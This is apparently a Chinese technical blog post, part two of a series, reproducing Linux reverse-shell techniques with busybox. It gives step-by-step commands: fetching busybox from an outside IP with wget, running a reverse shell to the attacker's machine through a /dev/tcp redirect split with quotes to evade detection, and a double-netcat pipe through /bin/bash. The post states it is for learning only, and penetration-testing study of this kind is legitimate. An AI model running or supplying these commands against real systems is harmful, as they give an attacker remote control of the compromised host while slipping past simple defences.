Linux反弹shell姿势复现(二)--- 利用下载的工具执行反弹(busybox)

前言

本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考!

复现环境说明

  • 服务端(被监听)(ubuntu使用cat /proc/version查看,centos使用cat /etc/system-release查看):ubuntu 5.4.0-67-generic; centos:CentOS Linux release 7.5.1804 (Core)

  • 客户端(监听):kali 5.9.0-kali1-amd64

利用下载工具执行反弹(busybox)

什么是busybox?

    busybox 是一个集成了多个最常用Linux命令和工具的软件。 在其中包含了一些简单的工具,例如ls、cat和echo,除此之外,还包含了一些更大、更复杂的工具,例grep、find、mount以及telnet等等,。因此使用busybox工具可以执行linux常用的命令。
    busybox 完整的配置过程:https://www.huaweicloud.com/zhishi/busybox.html
    本文的复现中并不需要安装完整的busybox就可以完成,但是想要安装完整版可以参考链接即可。

方法一:利用busybox执行sh

这种方式主要是利用busybox来执行sh

  1. 在监听端(kali端)开启监听:nc -nlvp 1231
    (此处假设开启的是1231端口)
    在这里插入图片描述
  2. 被监听端(centos端):
  • 远程下载busybox:wget http://139.196.91.13:7001/busybox
    使用这种方法下载的busybox没有执行权限,需要自己加上权限
  • 给busybox增加执行权限:chmod +x busybox
  • 利用busybox执行sh:./busybox sh -i >& /dev/t""cp/kali的ip地址/1231 0<&1
    此处仍然是利用了busybox来执行sh,其原理可以参考我的上一篇文章:https://blog.csdn.net/weixin_44283446/article/details/115133751
  1. kali端拿到centOs的反弹过来的shell

方法二:busybox+双nc进行反弹

利用busybox执行命令,并且结合双nc进行反弹,nc反弹也是一种常见的反弹方式,后续会起一个新的blog来总结nc反弹

  1. 在监听端(kali端)开启两个端口监听:nc -nlvp 1231 nc -nvlp 1232
    (此处假设开启的是1231、1232端口,这里我使用的是Tmux起的,关于Tmux后续我也会更一个blog来记录一下,当作是知识储备)
    在这里插入图片描述
  2. 被监听端(centOs端)
  • 远程下载busybox:wget http://139.196.91.13:7001/busybox
  • 同方法一,给busybox增加执行权限:chmod +x busybox
  • 执行命令:
    ./busybox sh
    nc kali的ip地址 1231 | /bin/bash | nc kali的ip地址 1232
  1. kali端拿到centOs的反弹过来的shell

    以上是关于利用利用下载的工具busybox执行反弹部分方法的总结,其原理也就是利用busybox来执行linux的命令来躲避bash,该系列主要针对于linux,如果后续能做到Windows,会将Windows下的反弹shell也做一个总结,其包含了Powershell反弹、利用脚本反弹等等。
    本文如有不足之处,欢迎指正(* ̄︶ ̄)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值